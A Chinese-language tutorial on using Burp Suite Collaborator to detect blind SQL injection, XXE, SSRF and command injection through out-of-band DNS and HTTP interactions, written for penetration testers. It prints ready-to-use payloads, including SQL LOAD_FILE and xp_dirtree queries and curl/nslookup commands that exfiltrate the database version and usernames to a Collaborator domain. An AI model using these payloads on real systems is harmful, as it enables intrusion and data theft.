Burp Suite的Collaborator功能通过带外(Out-of-Band)技术检测盲注和带外数据泄露,其核心原理是让目标服务器与外部Collaborator服务器发生交互,从而验证漏洞的存在并获取数据。
一、Collaborator工作原理
Collaborator服务器运行在公网上,拥有自己的专用域名(如burpcollaborator.net),并注册为该域名的权威DNS服务器。当Burp Suite向目标应用发送包含Collaborator域名的payload时,如果存在漏洞,目标服务器会尝试解析或访问该域名,Collaborator服务器会记录这些交互行为,并将信息返回给Burp Suite。
二、盲注漏洞检测方法
1. 盲SQL注入检测
基本payload构造:
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.xxxxxxxx.burpcollaborator.net\\abc')))--利用DNS外带数据:
通过DNS查询将数据库信息外带
使用
nslookup或ping命令触发DNS解析将查询结果作为子域名的一部分发送到Collaborator服务器
2. 盲XXE检测
payload构造:
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://xxxxxxxx.burpcollaborator.net"> %xxe; ]> <test>test</test>如果存在XXE漏洞,目标服务器会尝试访问Collaborator服务器,Collaborator会记录HTTP请求和DNS解析记录。
3. 盲SSRF检测
payload构造:
http://xxxxxxxx.burpcollaborator.net将Collaborator域名作为SSRF payload发送,如果存在SSRF漏洞,目标服务器会发起HTTP请求到Collaborator服务器。
三、带外数据泄露利用
1. 操作系统命令注入数据外带
Linux系统:
curl http://$(whoami).xxxxxxxx.burpcollaborator.net nslookup $(whoami).xxxxxxxx.burpcollaborator.netWindows系统:
nslookup %USERNAME%.xxxxxxxx.burpcollaborator.net通过将命令执行结果作为子域名的一部分,将数据外带到Collaborator服务器。
2. SQL注入数据外带
MySQL数据库:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.xxxxxxxx.burpcollaborator.net\\abc'))SQL Server数据库:
DECLARE @host varchar(8000); SELECT @host = (SELECT @@version); EXEC('master..xp_dirtree "\\'+@host+'.xxxxxxxx.burpcollaborator.net\abc"');利用数据库函数将查询结果通过DNS查询外带。
四、实战操作步骤
1. 配置Collaborator
在Burp Suite中打开Burp → Burp Collaborator client,点击Copy to clipboard生成Collaborator域名,设置轮询间隔(Poll every)。
2. 构造payload
在Repeater模块中,右键选择Insert Collaborator payload将Collaborator域名插入到参数值中,或手动构造payload。
3. 发送请求并监控
发送构造的请求后,返回Collaborator客户端,点击Poll now查看交互记录。Collaborator会显示:
DNS查询记录:证明目标服务器尝试解析域名
HTTP请求记录:包含请求方法、路径、头部信息
来源IP:帮助确认哪个系统发起的请求
4. 数据提取
通过分析Collaborator接收到的DNS查询或HTTP请求,可以获取:
操作系统类型和版本
数据库版本信息
系统用户名
文件内容(通过XXE或文件包含)
内网IP和端口信息
五、注意事项
网络限制:目标服务器必须能够访问互联网,且DNS解析不受限制
防火墙/IDS:出站流量可能被安全设备拦截
延迟执行:某些漏洞可能异步执行,需要持续轮询Collaborator
合法授权:必须在授权范围内使用,推荐使用合法靶场环境
Collaborator功能极大地提高了盲注漏洞的检测效率,通过带外技术解决了传统盲注测试中无法直接获取回显信息的问题。